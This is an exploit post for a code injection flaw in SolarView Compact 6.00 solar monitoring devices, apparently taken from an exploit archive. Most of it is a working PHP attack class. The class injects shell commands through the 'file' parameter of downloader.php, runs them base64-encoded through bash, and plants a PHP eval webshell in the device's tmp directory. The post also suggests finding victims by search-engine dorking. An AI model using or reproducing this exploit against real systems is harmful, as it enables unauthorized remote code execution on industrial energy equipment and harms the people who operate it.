SolarView Compact 6.00 Code Injection

`=============================================================================================================================================  
| # Title : SolarView Compact 6.00 Code Injection Vulnerability |  
| # Author : indoushka |  
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.2 (64 bits) |  
| # Vendor : https://www.contec.com/ |  
=============================================================================================================================================  
  
POC :  
  
[+] Dorking İn Google Or Other Search Enggine.  
  
[+] uses the CURL to Allow remote command .  
  
[+] Line 112 set your target .  
  
[+] save code as poc.php .  
  
[+] USage : cmd => c:\www\test\php poc.php   
  
[+] PayLoad :  
  
<?php  
  
class SolarViewExploit {  
private $targetUri;  
private $webshellName;  
private $postParam;  
private $timeout;  
  
public function __construct($targetUri, $timeout = 40) {  
$this->targetUri = rtrim($targetUri, '/');  
$this->timeout = $timeout;  
}  
  
public function uploadWebshell($webshell = null) {  
// Randomize file name if option WEBSHELL is not set  
$this->webshellName = $webshell ?? $this->generateRandomFileName();  
  
$this->postParam = $this->generateRandomString(8);  
  
// Inject PHP payload into the PLTE chunk of a PNG image to hide the payload  
$phpPayload = "<?php @eval(base64_decode(\$_POST['{$this->postParam}']));?>";  
$pngWebshell = $this->injectPhpPayloadPng($phpPayload);  
  
if ($pngWebshell === null) {  
return null;  
}  
  
// Encode webshell data and write to file on the target at the tmp directory for execution  
$payload = base64_encode($pngWebshell);  
$cmd = "echo {$payload}|base64 -d >tmp/{$this->webshellName}";  
return $this->executeCommand($cmd);  
}  
  
public function executePhp($cmd) {  
$payload = base64_encode($cmd);  
return $this->sendRequest('POST', "/tmp/{$this->webshellName}", [  
$this->postParam => $payload  
]);  
}  
  
public function executeCommand($cmd) {  
// Encode payload with base64 to ensure proper execution  
$payload = base64_encode($cmd);  
$cmd = "echo {$payload}|base64 -d|bash";  
return $this->sendRequest('GET', '/downloader.php', [  
'file' => ";{$cmd};.zip"  
]);  
}  
  
public function check() {  
// Checking if the target is vulnerable by echoing a randomised marker  
echo "Checking if {$this->targetUri} can be exploited.\n";  
$marker = $this->generateRandomString(16);  
$res = $this->executeCommand("echo {$marker};cat /opt/svc/version");  
  
if ($res && $res['code'] == 200 && strpos($res['body'], $marker) !== false) {  
if (preg_match('/SolarView Compact ver\.\d\.\d\d/', $res['body'], $matches)) {  
return "Vulnerable: " . $matches[0];  
}  
}  
return 'Safe: No valid response received from the target.';  
}  
  
public function exploit($payload) {  
echo "Executing payload on {$this->targetUri}.\n";  
$res = $this->uploadWebshell();  
  
if (!$res || $res['code'] !== 200) {  
throw new Exception('Web shell upload error.');  
}  
  
$this->executePhp($payload);  
}  
  
private function sendRequest($method, $uri, $params) {  
$url = $this->targetUri . $uri;  
$options = [  
'http' => [  
'method' => $method,  
'header' => 'Content-Type: application/x-www-form-urlencoded',  
'timeout' => $this->timeout,  
'content' => http_build_query($params)  
]  
];  
  
$context = stream_context_create($options);  
$response = @file_get_contents($url, false, $context);  
$code = isset($http_response_header[0]) ? intval(substr($http_response_header[0], 9, 3)) : 0;  
  
return [  
'code' => $code,  
'body' => $response  
];  
}  
  
private function injectPhpPayloadPng($phpPayload) {  
// Here you would implement the logic to inject the PHP payload into a PNG file.  
// This is a placeholder implementation.  
return $phpPayload; // Modify this to return the actual PNG with embedded PHP payload.  
}  
  
private function generateRandomFileName($length = 16) {  
return bin2hex(random_bytes($length / 2)) . '.php';  
}  
  
private function generateRandomString($length) {  
return bin2hex(random_bytes($length / 2));  
}  
}  
  
// Example of usage  
$targetUri = 'http://target-ip'; // Replace with the actual target URL  
$exploit = new SolarViewExploit($targetUri);  
echo $exploit->check();  
$exploit->exploit('whoami'); // Replace with your payload  
  
  
Greetings to :=====================================================================================  
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|  
===================================================================================================  
`